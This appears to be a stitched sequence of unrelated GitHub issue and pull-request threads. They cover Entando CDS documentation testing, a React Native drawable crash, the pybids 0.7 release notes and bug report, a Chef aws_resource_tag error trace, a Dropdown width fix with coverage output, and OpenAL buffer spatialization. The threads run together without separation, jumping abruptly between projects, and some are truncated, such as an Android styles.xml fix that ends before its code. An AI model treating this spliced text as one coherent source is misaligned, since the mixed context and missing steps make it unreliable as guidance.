@avdev4j , use this to test CDS. This has been updated with the help of PJ & Eugenio. The google doc I linked before is outdated.

A summary of the current tests

[X] The CDS resources can be installed (with modification in the sample files)
[X] The resources run and know each other (ingress, service, deployment, secret, and pods)
[X] The CDS API is reachable outside (through the ingress), and we can upload a file
[X] The entando-de-app works using the CDS
[ ] The app-builder is running well using the CDS

Minor

Typo fixing

Ensure placeholders use the correct pattern
Ensure placeholders have the correct value
Minor changes in commands
Use a suitable placeholder to avoid misunderstanding the usage of that value
Streamline placeholders

My suggestion:
because we have a lot of placeholders to replace each is not easy to understand what kind of value we expect, we should define all of them before including the placeholder name, and a definition. To recognize them easily we can wrap them using brackets or equivalent. We can also suggest a pattern for tenants.
e.g. : The name of the deployment resource defines in Kubernetes or to rely on in other descriptors. ex: cds-deployment-tenant1.
Major

Remove the unnecessary step to get the ingress value https://github.com/entando/entando-docs/pull/724#discussion_r1184337791_
The step "APIs" has to be improved

explicitly explained, this is not an installation step but is used for checking. It could move at the end of the document under an explicit verification chapter
Currently, this step doesn't contain enough data to be run as is, we should suggest a way to retrieve the bearer token, then call the API using curl (Postman is also a solution), and maybe provide a zip file to upload. Finally, we should provide a sample command to run it: https://github.com/entando/entando-docs/pull/724#discussion_r1184681393_

The step "Configure the Entando App Engine" has to be improved

The "CDS_PUBLIC_URL" value should come from the ingress defined before, we can provide a way to get it or use the same placeholder as the descriptor file
It's not clear what the "CDS_PRIVATE_URL" should contain, is it the service URL?

My suggestion:
overall the tutorial is working if we know how to proceed with K8S resources. Reorganizing some steps could help to have a better understanding of what is related to the CDS, what is related to the Entando app configuration, and which step is related to testing the system.
Bugs

Using the CDS in the Entando-De-App causes a bug for the app-builder menu

The app-builder is trying to get the menu js file using a request but the CDS returns a 404 error because it is empty, the component manager has previously loaded the menu file into the previous de-app volume, not the CDS.

Replacing this with the new PR https://github.com/entando/entando-docs/pull/724 which I think addresses the ideas and concerns raised by @avdev4j


NullPointerException:tempt to invoke virtual method 'android.graphics.drawable.Drawable android.graphics.drawable.Drawable$ConstantState.newDrawable(android.content.res.Resources)'

(Describe your issue in detail.)
Environment
react-native 0.53.3

Closing due to lack of sufficient details. Can you take a look at the template and make sure to provide all the details when opening a new issue?

don't set 'underlineColorAndroid' props to any TextInput and remove all text input background by native styles.
goto android\app\src\main\res\values\styles.xml
change that like below :


Allow 'space' character

Currently, inputting a string ("hello") and displaying it on the board works. But, strings with spaces ("hello world") don't because a space is not a defined character.

Not optimal, but works. Awaiting PR.

Awaiting #5


Close tab\window error

Program goes down when close last tab.
Program goes dawn if image is edited and you save or no it from "Closing tab..." dialog.
Also set unenabled all button\actions which edited image area when no tabs.

Also rename method "getImageArea" to "getImageAreaByIndex" and write doc strings.

Also add hotkey for quit action.


[WIP] 0.7 release

This PR introduces major, API-breaking changes, and should probably prompt a minor version increase (to 0.7). Summary of changes:

Rename some entities to match the official BIDS-Raw spec more closely (notably, type becomes suffix and modality becomes datatype).
The module names are simplified: grabbids is now gone (in favor of layout) and bidslayout.py and bidsvalidator.py are just layout.py and validation.py. A deprecation warning is no longer issued (we had said this change would happen in 0.8, but I think it's better to introduce it early and have people fix all of the breaking changes at once).
Metadata in JSON sidecars is now indexed and searchable. There's a new MetadataIndex class, and new search_metadata and build_metadata_index methods in BIDSLayout. The workhorse .get method does not allow integrated searching of metadata, but the search_metadata method accepts a list of files (usually returned from a .get call) that can be used to constrain the search. Eventually, we'll probably have a single interface that spans both filename fields and JSON fields.
A new BIDSFile class wraps grabbit's File; this is a lightweight wrapper that adds .image and .metadata properties, which respectively return a NiBabel image object and a dictionary of metadata, respectively.
Built-in HRF convolution is now supported via bundling of nistats' hemodynamic_models module. The BIDS-Model spec will change to treat HRF convolution as a standard transformation; a convolve_HRF transformation has been added (see #250, #251).
Derivatives and other non-core directories mentioned in the BIDS-Raw spec (code/, stimuli/, etc.) are no longer indexed by default, and must be explicitly included at initialization (via either the paths or include arguments). See #184.
The exclude argument has been removed from BIDSLayout, and the include argument now functions differently--it allows explicit inclusion of directories that would otherwise be dropped from indexing (see previous point).
File validation is now enabled by default (i.e., validate=True in BIDSLayout(); see #244). It also now works (see #222). Note that I've temporarily bundled the regex rules from BIDS-validator-common with this package while we wait for them to be refactored into BIDS-validator. Eventually, we will install the latter as a dependency of pybids.
The auto_contrasts field in the modeling tools is now in compliance with the BIDS-Model spec (see #234).
Specifying 'derivatives' in a paths specification now automatically includes 'bids', since derivatives projects are also BIDS-Raw projects (#246).
Variable loading via load_variables can now be done incrementally, by repeatedly passing in a NodeIndex object in the dataset argument. This allows handling of edge cases where different sets of variables are tied to different sets of images (e.g., one can selectively load event files associated with image sets in different derivatives directories).
Expanded and improved path-building via layout.build_path(entities); it should now be possible to define a complete set of paths. The current set of paths is not quite complete, but includes most of the major file types, so  this closes #63.
Various other minor bug fixes (e.g., #202).

Is the desc entity included in this release? I don't see any mention of it in the code or PATH_PATTERNS

No, I think I'll wait on the derivatives release for that, in case the name changes back to var or something like that. It won't be a breaking change, so I don't think there's any need to include it in 0.7.

I think I found a bug:
The following works:
bids_layout = BIDSLayout([(bids_dir, 'bids')])
bIds_layout.get(extensions='.json')

Lots of results
But adding the following (minimal example, but found doing something else):
bids_layout = BIDSLayout([(bids_dir, 'bids'), ('/tmp/empty', 'derivatives'])])
bIds_layout.get(extensions='.json')

Returns: [ ]
Looks like some clashing between domains, but it causes problems in variables.io in when looking for metadata for nifti files.

Thanks, will look into it. Does passing domains=['bids'] to get() help?

That did not help unfortunately

Okay, something really odd is going:
bids_layout = BIDSLayout([(bids_dir, 'bids')])
len(bids_layout.domains['bids'].files)

returns over ~200 files, but:
bids_layout = BIDSLayout([(bids_dir, 'bids'), ('/tmp/empty', 'derivatives'])])
len(bids_layout.domains['bids'].files)

returns over 2000 files, yet no .json files.

'derivatives' now implies 'bids', so the fact that there are a lot of files is fine; it's just that probably the second specification is overwriting the first, which is not good.

No, it's weird because the second directory is empty. It's just a dummy directory that also causes this problem

@tyarkoni Is there anything I can do to help this along? I'm not sure where to begin reviewing.

Sorry, I've been stuck in grant and paper deadline hell. I think the only things that should be addressed before we can merge are (a) the bug Alejandro mentioned above (though it may predate the changes introduced here) and (b) making sure that fitlins still works after any tweaks necessary for 0.7 compatibility (e.g., being able to pass in convolutions as transformations instead of a separate section).

Oh, and also, I think at this point we may as well wait for the first BIDS-Common-Derivatives RC, so that we can include all the new proposed entities. I'm 90% sure they won't require any breaking changes, but I'd rather be cautious about it--I think I'm probably already testing people's patience (and not just you ;)) by breaking the API so often.

What changes do I need to make to models for testing? Or should existing models still work?

I think you just need to remove the HRF_variables field, and instead add a transformation called convolve_HRF, where the input is the list of variables. Otherwise I think existing models should work.

Okay I think I'm ready to merge this once you sign off, @adelavega and @effigies (no need to review everything, I just want to know that these changes don't break anything you've already written in a way that isn't relatively easily fixable).

Actually, this PR is already gargantuan, so in the interest of keeping things tidy, I'm going to merge now (without yet bumping version).

The fix seems good to me in principle. However, this line is problematic:
https://github.com/bids-standard/pybids/blob/b25be2903608c95a192e69a081bd3a8d3dbfc3a3/bids/layout/layout.py#L134
It seems to include bids_dir/derivatives even if derivatives has been set to another directory. I think this can be fixed by changing to if derivatives == True (and would be consistent with the docstring, which asks you to explicitly include derivatives if you are specifying bids_dir/derivatives as a string)


Update skus.md

Learn Build status updates of commit 0884f46:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

articles/load-balancer/skus.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel


Digitize SquareSpace analytics

I have analytics in screenshots from SquareSpace, if we could pull the numbers into a digital format, we could compare against this and future years that are in Google Analytics.

And I have a pdf with all time traffic.
Traffic All Time.pdf


resource_tag update fails when attempting to use multiple resource_id values

Cookbook version
3.3.3
Chef-client version
Chef 12.7.2
Platform Details
AWS Ubuntu
Scenario:
use multiple resource_id values with aws_resource_tag
Steps to Reproduce:
  aws_resource_tag 'bunch_of_things_getting_tagged' do
    tags ({'my-tag-name' => 'my-tag-value'})
    resource_id array_of_ebs_volume_ids
    action :update
  end

Expected Result:
All volumes listed in resource_id will have the relevant tag updated
Actual Result:
Error, appears that providers/resource_tag.rb: load_current_resource fails to handle multiple resource_id values
sanitized to remove proprietary information
================================================================================
Error executing action `update` on resource 'aws_resource_tag[bunch_of_things_getting_tagged]'
================================================================================

ArgumentError
-------------
expected params[:filters][0][:values][0] to be a string

Cookbook Trace:
---------------
/var/chef/runs/40d7e64f-be7f-451b-92de-2b08a33c2463/local-mode-cache/cache/cookbooks/aws/providers/resource_tag.rb:90:in `load_current_resource'
/var/chef/runs/40d7e64f-be7f-451b-92de-2b08a33c2463/local-mode-cache/cache/cookbooks/compat_resource/files/lib/chef_compat/monkeypatches/chef/runner.rb:41:in `run_action'

Resource Declaration:
---------------------
# In /var/chef/runs/40d7e64f-be7f-451b-92de-2b08a33c2463/local-mode-cache/cache/cookbooks/my-cookbook/recipes/ebs.rb

160:   aws_resource_tag 'bunch_of_things_getting_tagged' do
161:     tags ({'my-tag-name' => 'my-tag-value'})
162:     resource_id array_of_ebs_volume_ids
163:     action :update
164:   end
165: else

Compiled Resource:
------------------
# Declared in /var/chef/runs/40d7e64f-be7f-451b-92de-2b08a33c2463/local-mode-cache/cache/cookbooks/my-cookbook/recipes/ebs.rb:160:in `from_file'

aws_resource_tag("bunch_of_things_getting_tagged") do
action [:update]
retries 0
retry_delay 2
default_guard_interpreter :default
declared_type :aws_resource_tag
cookbook_name "my-cookbook"
recipe_name "ebs"
tags {"my-tag-name"=>"my-tag-value"}
resource_id ["vol-1234567", "vol-2345678", "vol-3456789"]
end

[2016-05-30T21:04:30+00:00] INFO: Running queued delayed notifications before re-raising exception
[2016-05-30T21:04:30+00:00] ERROR: Running exception handlers
[2016-05-30T21:04:30+00:00] ERROR: Exception handlers complete
[2016-05-30T21:04:30+00:00] FATAL: Stacktrace dumped to /var/chef/runs/40d7e64f-be7f-451b-92de-2b08a33c2463/local-mode-cache/cache/chef-stacktrace.out
[2016-05-30T21:04:30+00:00] FATAL: Please provide the contents of the stacktrace.out file if you file a bug report
[2016-05-30T21:04:30+00:00] ERROR: aws_resource_tag[bunch_of_things_getting_tagged] (my-cookbook::ebs line 160) had an error: ArgumentError: expected params[:filters][0][:values][0] to be a string
[2016-05-30T21:04:30+00:00] FATAL: Chef::Exceptions::ChildConvergeError: Chef run process exited unsuccessfully (exit code 1)

Would be great to see a fix for this.

The 7.0 cookbook release refactored this resource a bit and added testing. Can someone take a look and see if this is still an issue

I am seeing the same problem in 7.4.0 as well.

This issue is still there in 8.3.0.

I am facing this issue with 8.0.4 as well and the issue is in 'Needs Information'. Please confirm what information is required in order to fix this.


added dependency to get example3 to work

Added dependency logback-classic and fork = true to examples build to get examples to work.

I forgot that Kayak needs to merge PRs for this repo :)
Thanks again for the contribution!


fix(Dropdown): fix search width

Fixes #397
Search type Dropdowns include a dynamically sized search input.  This PR fixes the width measurement.  It also fixes an issue where the Dropdown text was not muted when the search input is focused.  This was due to rendering the sizer when it was not needed.  It is only necessary on multiple type Dropdowns.

Current coverage is 95.16% (diff: 100%)

Merging #443 into master will decrease coverage by 1.00%

@@             master       #443   diff @@
==========================================
  Files            84         91     +7
  Lines          1252       1178    -74
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
- Hits           1204       1121    -83
- Misses           48         57     +9
  Partials          0          0

Powered by Codecov. Last update 89a3ca1...c777142

Released in v0.37.3


Setting the number of channels for a Buffer

If I load a file into a Buffer, is it possible to set the number of channels for this Buffer regardless of the number of channels in the file (or is this a feature which could be implemented?)?
Because according to the OpenAL reference(5.3.4. Specifying Buffer Content), "Buffers containing audio data with more than one channel will be played without 3D spatialization features – these formats are normally used for background music.". If we had this feature, it would be easy to define a sound as a 2D or 3D sound for any file.

Source objects have the set3DSpatialize method. Given the AL_SOFT_source_spatialize extension (available since OpenAL Soft 1.18), that allows 3D spatialization to be applied regardless of the buffer's channel count; the sound will be dynamically downmixed to mono and panned as expected when not placed exactly on the listener. You can also force spatialization off, so even mono sounds avoid panning, distance attenuation, and doppler effects. Or set to auto (default), it behaves like standard OpenAL.
This way avoids having to potentially load the file twice with the extra buffer management (one for stereo/multichannel, and another for the mono copy). It also doesn't have to be concerned with unnecessary conversions (e.g. stereo to 5.1).

This seems to be the solution - thanks!